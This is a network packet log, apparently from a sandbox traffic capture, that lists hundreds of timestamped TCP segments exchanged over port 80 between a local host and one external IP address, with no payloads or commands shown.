Dec 16, 2024 09:01:31.550740957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.550780058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.550822973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.551491976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.551551104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.551587105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.551630974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.552298069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.552349091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.552463055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.552514076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.553133011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.553180933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.553232908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.553311110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.553985119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.554033041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.554124117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.554168940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.554790020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.554837942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.554877043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.554914951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.555658102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.555706024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.555716991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.555754900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.556457043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.556507111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.556518078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.556556940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.557297945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.557353020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.557408094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.557446957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.558111906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.558159113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.558217049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.558284998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.558932066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.558990002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.559058905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.559124947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.559772015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.559818983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.559849977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.559886932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.560570002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.560623884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.560698032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.560738087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.561388969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.561441898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.561522961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.562196970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.562241077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.710896969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.710913897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.710978985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.711085081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.711132050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.711222887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.711267948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.711916924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.712176085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.712290049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.712764025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.712865114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.712915897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.713598013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.713646889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.713685036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.713730097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.714420080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.714464903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.714526892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.714572906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.715224028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.715281963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.715327024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.715369940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.716065884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.716109991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.716144085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.716186047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.716861963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.716934919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.716949940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.717005014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.717700958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.717749119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.717803955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.717844009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.718559980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.718604088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.718664885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.718707085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.719355106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.719456911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.719505072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.720181942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.720288038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.720294952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.721005917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.721066952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.721111059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.721159935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.721848965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.721894026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.721930027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.721967936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.722676039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.722717047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.722799063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.722840071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.723495960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.723536015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.723584890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.723622084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.724318981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.724359989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.724428892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.724467993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.725147963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.725193024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.725302935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.725344896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.725966930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.726010084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.726074934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.726115942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.726825953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.726866961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.726907015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.726947069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.727638006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.727679014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.727750063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.727788925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.728458881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.728499889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.728580952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.728621960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.729336977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.729377985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.729506969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.729546070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.730108976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.730149031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.730221987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.730259895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.730942011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.730979919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.731060982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.731100082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.731751919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.731880903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.731933117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.732587099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.732628107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.732691050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.732732058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.733417988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.733509064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.733534098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.734237909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.734287024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.734340906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.734410048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.735050917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.735100031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.735157967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.735193968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.735891104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.735932112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.736005068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.736046076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.736731052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.736814976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.736861944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.737543106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.737581015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.737633944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.737672091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.738367081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.738405943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.738475084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.738516092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.739204884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.739259958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.739322901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.739370108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.740022898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.740071058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.740124941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.740174055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.740874052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.740922928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.741023064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.741071939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.741693974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.741746902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.741781950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.741831064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.742528915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.742580891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.742599964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.742644072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.743324041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.743370056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.743406057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.743451118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.744168043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.744218111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.744252920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.744302034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.745105982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.745148897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.745179892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.745229006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.745871067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.745917082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.745943069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.745986938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.746638060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.746691942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.746776104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.746825933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.747519016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.747627974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.747680902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.748298883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.748403072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.748447895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.749131918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.749183893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.749217033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.749272108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.749977112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.750041008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.750075102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.750121117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.750817060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.750864983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.750895977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.750946999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.751611948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.751662970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.751703978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.751745939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.752429008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.752476931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.752506971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.752549887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.753257990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.753341913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.753396034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.754086018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.754131079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.903213024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.903278112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.903342009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.903422117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.903460026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.903476000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.903569937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.903613091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.904174089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.904232025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.904325008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.905004025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.905054092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.905102015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.905150890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.905827045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.905874968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.905931950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.905978918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.906666040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.906719923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.906757116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.906805992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.907497883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.907629013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.907682896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.908322096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.908374071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.908411026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.908459902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.909151077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.909209013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.909267902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.909328938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.909970999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.910018921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.910108089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.910166025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.910809994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.910877943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.910928011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.911725998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.911776066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.911880016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.911928892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.912482977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.912537098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.912995100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.913045883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.913264990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.913314104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.913372040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.913420916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.914124966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.914232016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.914283037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.914937019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.914988995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.915091991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.915138960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.915775061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.915890932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.915942907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.916589975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.916640997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.916702986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.916749954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.917414904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.917500019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.917907000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.917968035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.918279886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.918333054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.918376923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.918462992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.919070959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.919121027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.919208050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.919259071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:31.919908047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:31.919962883 CET	49866	80	192.168.2.5	31.41.244.11
